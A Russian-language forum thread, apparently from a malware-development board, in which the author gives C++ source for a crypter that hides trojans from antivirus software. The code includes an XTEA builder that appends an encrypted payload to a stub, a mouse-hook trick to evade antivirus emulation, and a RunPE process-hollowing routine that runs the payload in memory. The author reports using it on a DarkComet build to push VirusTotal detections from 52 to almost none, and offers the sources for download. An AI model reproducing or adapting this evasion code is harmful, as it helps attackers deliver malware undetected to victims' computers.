Малварь как искусство Как сделать криптор на С++. Часть 2. Делаем примитив [Deleted]

Тема в разделе "Технологии создания невидимой малвари", создана пользователем X-Shar, 22 май 2017.

↑ ↓
Статус темы:
Закрыта.
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.421
    Симпатии:
    49
    Пол:
    Мужской
    Репа:
    +673 / 162 / -34
    Telegram:
    Всем привет !

    В Малварь как искусство - Как написать криптор. Часть - 1. Разрабатываем алгоритм мы делали алгоритм для написания такого рода программ, теперь попробуем это реализовать практически и посмотрим результат ! :)

    1)Итак ещё раз:

    Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами. Крипторы можно разделить на 2 вида: хорошие и дерьмовые (Dmeh-Smeh-Smeh!!!Мы разумеется пока-что пишем дерьмовыйDmeh-Smeh-Smeh!!!).

    Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы. При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.

    Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла. Но, как говорится, на каждую хитрую жопу найдется хуй с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нахуй.

    Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу ебанутости и многочисленности авторов таких творений, мы не будем отрываться от стаи.

    Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.

    Т.е. надеюсь поняли отличия в первом случае шифруется код программы, и стаб расшифровывает уже команды программы, а во втором случае шифруется сам файл программы и расшифровывается тоже сам файл, ну и понятно, что второй тип криптора это не что иное как не нужное гавно, т.к. практически любой антивирусник спалит вирус при расшифровке ! ;)

    Некоторые крипторы напрямую файл на диск не пишут, а запускают его из памяти, но это их не оправдывает, т.к. продвинутый антивирус словит это при запуске как нехуй делать.

    В таких крипторах уникальность каждого закриптованного файла достигается разными стабами. Но такой подход весьма ограничен — в хороших криптах это всего-лишь код, и его можно сгенерировать, а со стабами в говно-крипторах уже сложнее, поэтому авторы чаще всего создают под каждого клиента отдельный стаб. Подход глуп до безобразия, ведь ежели спалится антивирусами один закриптованный файл — за ним полетят и все остальные.

    2)Чуток скопировал Вазонеза, но к сожалению у нас быдлокриптер, хотя задачу и решает...My mindsholoh itОтдыхай!!!i'm crazy

    Итак что мы делаем, как сказано выше у нас будет две программы:

    - Конструктор - Который поместит наш вирус в конец стаба, предварительно зашифровав его.

    - Стаб - Расшифрует вирус в памяти и запустит его из памяти, предварительно создав скрытый процесс.

    3)Делаем конструктор:

    Тут очень просто, гуй в вижуалке создавать не сложно, нужно сделаать проект и Windows Forms Aplication:

    upload_2017-5-22_21-2-3.

    Я сделал простой интерфейс:

    upload_2017-5-22_21-2-33.

    Ну тут что-то расписывать не имеет смысла: Выбрали файл, считали его в буфер, закриптовали алгоритмом XTEA (XTEA — Википедия), с вики и взял код криптования...смех-смех!!!

    Далее поместили в конец стаба...:)

    Основной код Form1.h во вложении ниже...

    Немного приведу код:

    Код:
    //Необходимо для преобразования типов данных
    /*
    s - Строка из гуя Sistem String
    os - Стандртная С++ строка string
    */
    void MarshalString String sstringos ) {
        
    using namespace Runtime::InteropServices;
        const 
    charchars =
            (const 
    char*)(Marshal::StringToHGlobalAnsi(s)).ToPointer();
        
    os chars;
        
    Marshal::FreeHGlobal(IntPtr((void*)chars));
    }

    //Шифровка XTEA:
    /*

    num_rounds - Число блоков, я сделал 32
    v[2] - Байты, которые нужно расшифровать
    kljuc[4] - Ключ, четыре байта (Простое наполнение в программе)

    */
    void encipher(unsigned int num_roundsuint32_t v[2], uint32_t const kljuc[4]){
        
    unsigned int i;
        
    uint32_t v0=v[0], v1=v[1], sum=0delta=0x8E3778B8;
        for (
    i=0num_roundsi++){
            
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum kljuc[sum 3]);
            
    sum += delta;
            
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum kljuc[(sum>>11) & 3]);
        }
        
    v[0]=v0v[1]=v1;
    }

    //Функция получит строку байт:
    /*
    full_path - Полный путь до файла, который нужно считать в строку
    FileString - Полученная строка байт
    */
    void GetFileToString (string full_pathstring &FileString)
    {


        
    std::ifstream is;
        
    is.open(full_path.c_str(), std::ios::in std::ios::binary);//ios::binary - бинарное открытие,ios::in - операции ввода

        
    if (!is)
        {
            
    //std::cout << "File Not Found";
            //MessageBox::Show("File Not Found !!!");
            
    return ;
        }

        
    char buf[512];
        
    std::string content;

        while (
    is.read(bufsizeof(buf)).gcount() > 0)//если количество символов, прочтенных при последней операции неформатированного ввода >0
        
    {
            
    content.append(bufis.gcount());// то добавляем в строку это кол-во символов.
            //  std::cout << '*';
        
    }

        
    FileString content;

        
    is.close();

        return;
    }
    Ну и обработчик кнопки "Загрузить и обработать":
    Код:
    private: System::Void button3_Click(System::Object^  senderSystem::EventArgs^  e) {

                     if(
    openFileDialog1->ShowDialog() == System::Windows::Forms::DialogResult::OK)
                     {

                         
    string StrFile_NameStr_Crypt_Name;

                         
    string FileStringStubStringFull_File;

                         
    MarshalString openFileDialog1->FileNameStrFile_Name ); //Перевод строки с путём в string
                         
    textBox1->Text openFileDialog1->FileName;

                         
    //*****************************************
                         
    GetFileToString (StrFile_NameFileString); //Получение файла которого нужно криптонуть в строку

                         //Тут нужно критонуть...*********************

                         
    encipher(32,(uint32_t*)FileString.c_str(),kljuc); //Зашифровать XTEA
                         //******************************************

                         // decipher(32,(uint32_t*)FileString.c_str(),kljuc); //Рашифровать XTEA
                         //******************************************

                         
    GetFileToString ("stub.exe"StubString); //Получение нашего стаба в строку
                         //******************************************

                         
    int SizeStub StubString.length();

                         
    StubString.insert(StubString.length(),FileString);

                         
    //Файл, который нужно зашифровать:

                         
    int SizeStr StubString.length ();
                         
    BYTE *Result1 = new BYTE [SizeStr];

                         
    std::ofstream fout("CryptFile.exe"std::ofstream::binary);// создаём объект класса ofstream для записи и связываем его с файлом

                         
    for (int i=0i<=SizeStr -1i++)
                         {
                             
    Result1[i] = StubString[i];
                             
    fout << Result1[i];
                         }

                         
    MessageBox::Show(" Всё прошло успешно, рекомендуется подождать 1-2, после создания  CryptFile.exe, файл будет создан в директории с билдером !!!");

                         
    fout.close(); // закрываем файл

                     
    }

                 }
        private: 
    System::Void openFileDialog1_FileOk(System::Object^  senderSystem::ComponentModel::CancelEventArgs^  e) {             }
        };[/
    i][/i][/i]


    С этим всё, можете глянуть код во вложении...:)

    4)Делаем стаб:

    Как сказанно выше наш стаб должен:

    Считать себя, выделить шифрованный файл, расшифровать его, сделать антиэмуляцию для обхода антивирусов и запустить вирус в памяти.

    С этим думаю понятно, теперь как сделать это практически и немного кода:

    Для антиэмуляции, я поставил хук (ловушку на мышку), программа запустится если пользователь двинет мышкой, но что-то как оказалось это слабо помогает, а даже вредит, но переделовать лень...:)

    Итак ставим хук так:

    Код:
    // Устанавливаем хук
        
    mouseHook SetWindowsHookEx(WH_MOUSE_LLmouseProchInstance0);
    Далее после движения мышки запустится mouseProc, это наша основная функция (Можете переделать потом, как хотите):
    Код:
    LRESULT CALLBACK mouseProc(int nCode,
        
    WPARAM wParamLPARAM lParam)
    {
        if (
    FlagExit == 1)
        {

            
    //printf ("%d \n",__LINE__);

            
    kljuc[0] = 0xACB5//Установка первого значения ключа расшифровки.

            //Получение пути запущенной программы:

            
    wchar_t sfp[1024];
            
    GetModuleFileNameA(0LPSTR(sfp), 1024);

            
    //Приведение типов:
            
    charPutch_Char = (char*) sfp;

            
    string FileString//Строка в котором будет наш стаб
            
    GetFileToString (Putch_CharFileString); //Считаем сами себя.

            
    string first FileString.substr(0SizeStub); // Получим стаб (СТАБ)

            
    kljuc[2] = 0xEC90//Третье значение ключа

            
    int SizeFullStub FileString.length();
            
    int SizeNotFileStub first.length();

            
    int SizeCryptFile SizeFullStub SizeNotFileStub//Размер криптованного файла

            
    string CryptFile FileString.substr(SizeNotFileStub,SizeCryptFile); // Получили криптованный файл.

            
    kljuc[3] = 0x285C//Четвёртое значение ключа

            
    int SizeStr CryptFile.length ();
            
    BYTE *Result1 = new BYTE [SizeStr];

            for (
    int i=0i<=SizeStr -1i++)
            {
                
    Result1[i] = CryptFile[i];
                
    //fout << Result1[i];
            
    }

            
    decipher(32,(uint32_t*)Result1,kljuc); //Рашифровать XTEA

            
    run((LPSTR)Putch_CharResult1); //Запуск в памяти...

        
    }

        
    FlagExit 0//Всё далее зависним и ничего делать не будем...:)
        //UnhookWindowsHookEx(mouseHook);

        
    return CallNextHookEx(NULLnCodewParamlParam);

    }[/
    i][/i][/i]


    Тут мы считываем сами себя, расшифровываем криптованный файл и запускаем его в памяти, процедура запуска в памяти:

    Код:
    //Фунция запуска в память, принимает:
    /*
    szFilePath - Полный путь до нашего файла
    pFile - Байты PE-файла (x32 и натив).
    */
    void run(LPSTR szFilePathPVOID pFile)
    {
        
    PIMAGE_DOS_HEADER IDH;
        
    PIMAGE_NT_HEADERS INH;
        
    PIMAGE_SECTION_HEADER ISH;
        
    PROCESS_INFORMATION PI;
        
    STARTUPINFOA SI;
        
    PCONTEXT CTX;
        
    PDWORD dwImageBase;
        
    NtUnmapViewOfSection xNtUnmapViewOfSection;
        
    LPVOID pImageBase;
        
    int Count
        
    IDH PIMAGE_DOS_HEADER(pFile);

        if (
    IDH->e_magic == IMAGE_DOS_SIGNATURE)
        {
            
    INH PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
            if (
    INH->Signature == IMAGE_NT_SIGNATURE)
            {

                
    RtlZeroMemory(&SIsizeof(SI));
                
    RtlZeroMemory(&PIsizeof(PI));

                
    //Просто мусор*******************
     
                
    Sleep(1000);
     

                
    //Конец мусора

                
    if (CreateProcessA(szFilePathNULLNULLNULLFALSECREATE_SUSPENDEDNULLNULL, &SI, &PI))
                {

                    
    CTX PCONTEXT(VirtualAlloc(NULLsizeof(CTX), MEM_COMMITPAGE_READWRITE));
                    
    CTX->ContextFlags CONTEXT_FULL;
                    if (
    GetThreadContext(PI.hThreadLPCONTEXT(CTX)))
                    {

                        
    //Просто мусор***************

                        
    Sleep(1000);
        

                        
    //Конец мусора***************

                        
    ReadProcessMemory(PI.hProcessLPCVOID(CTX->Ebx 8), LPVOID(&dwImageBase), 4NULL);
                        if (
    DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                        {
                            
    xNtUnmapViewOfSection NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                            
    xNtUnmapViewOfSection(PI.hProcessPVOID(dwImageBase));
                        }
                        
    pImageBase VirtualAllocEx(PI.hProcessLPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage0x3000PAGE_EXECUTE_READWRITE);
                        if (
    pImageBase)
                        {
                            
    WriteProcessMemory(PI.hProcesspImageBasepFileINH->OptionalHeader.SizeOfHeadersNULL);
                            for (
    Count 0Count INH->FileHeader.NumberOfSectionsCount++)
                            {
                                
    ISH PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew 248 + (Count 40));
                                
    WriteProcessMemory(PI.hProcessLPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawDataNULL);
                            }
                            
    WriteProcessMemory(PI.hProcessLPVOID(CTX->Ebx 8), LPVOID(&INH->OptionalHeader.ImageBase), 4NULL);
                            
    CTX->Eax DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                            
    SetThreadContext(PI.hThreadLPCONTEXT(CTX));
                            
    ResumeThread(PI.hThread);
                        }

                    }
                }
            }
        }
        
    VirtualFree(pFile0MEM_RELEASE);
    }
    Т.к. процедуру запуска содрал от сюда PE-Crypter/runPE.h at master · jozemberi/PE-Crypter · GitHub Его код детектят все, в т.ч. и майкрософт...:(

    Пришлось добавить немного мусора, перед некоторыми апи, тестил на ноде, поэтому на некоторых ав не работает, а мне лень с другими аверами разбираться...i'm crazy

    Мусор простой, это задержка и выделение памяти в динамике...:)

    Итог закриптовал билдер ДаркКомета, оригинал:Antivirus scan for 21ca06b18698d14154a45822aaae1e3837d168cc7630bcd3ec3d8c68aaa959e6 at 2017-05-22 17:41:04 UTC - VirusTotal

    52 антивирусов детект...i'm crazy

    После криптовки осталось 9-ть:Antivirus scan for a3dd04616193713798bf547edd342f6121c61b46ccc2cd6f267402090ca79451 at 2017-05-22 17:39:48 UTC - VirusTotal

    Нод и касперский пропускают на запуск, даже билд даркомент сервера, неприятное удивление...

    Надо-бы конечно это профиксить Microsoft Backdoor:Win32/Fynloski.A Dmeh-Smeh-Smeh!!!

    Это сработал эмулятор майкрософта, нужно что-то придумывать для обхода, но честно что-то лень его ставить и тестить...

    Касперский и нод у меня стоят, причём тестил на реальных системах, что-то хреново себя проявили ! :)

    Итак, выкладываю сорцы, кому нужно:

    SourecC++.zip - Просто два файла, для стаба и креатора, без проекта VisualStudio

    Исходник VisualStudio 2010:Kryptor_Source_Visual.rar

    Привязки к среде нет, можно компильнуть в любой...i'm crazy

    У меня всё, удачи ! :)
     

    Вложения:

    • SourecC++.zip
      Размер файла
      6,6 КБ
      Просмотров:
      39
    Последнее редактирование: 22 май 2017
    • Мне нравится Мне нравится x 1
    • Информативный пост Информативный пост x 1
  2. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.421
    Симпатии:
    49
    Пол:
    Мужской
    Репа:
    +673 / 162 / -34
    Telegram:
    Ещё посидел и добился такого скана:Antivirus scan for b3a853247485ef3ce24d5cf6aafcd162bc6126f8131043b13fd6bb584674162e at 2017-05-22 20:04:14 UTC - VirusTotal

    Отвалились все, в том-числе и майкрософт, из популярных только байда задетектил и пофиг...Dmeh-Smeh-Smeh!!!

    Кстати сам стаб почти чистый Antivirus scan for a081b4f138848115c974d364a91ee9fcce5f513a3d34cc63a245b5b37ac9568a at 2017-05-22 20:07:57 UTC - VirusTotal Но эмуляции в нём нехватает, ссорь за вирустотал, кому нужно, добавьте мусора, думаю непроблема....:)

    Залил эту версию сюда в ресурсы.
     
    • Мне нравится Мне нравится x 2
  3. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.421
    Симпатии:
    49
    Пол:
    Мужской
    Репа:
    +673 / 162 / -34
    Telegram:
    • Мне нравится Мне нравится x 1
  4. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.421
    Симпатии:
    49
    Пол:
    Мужской
    Репа:
    +673 / 162 / -34
    Telegram:
    Этот ресурс был удалён и более недоступен для скачивания.
     
  5. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.421
    Симпатии:
    49
    Пол:
    Мужской
    Репа:
    +673 / 162 / -34
    Telegram:
Статус темы:
Закрыта.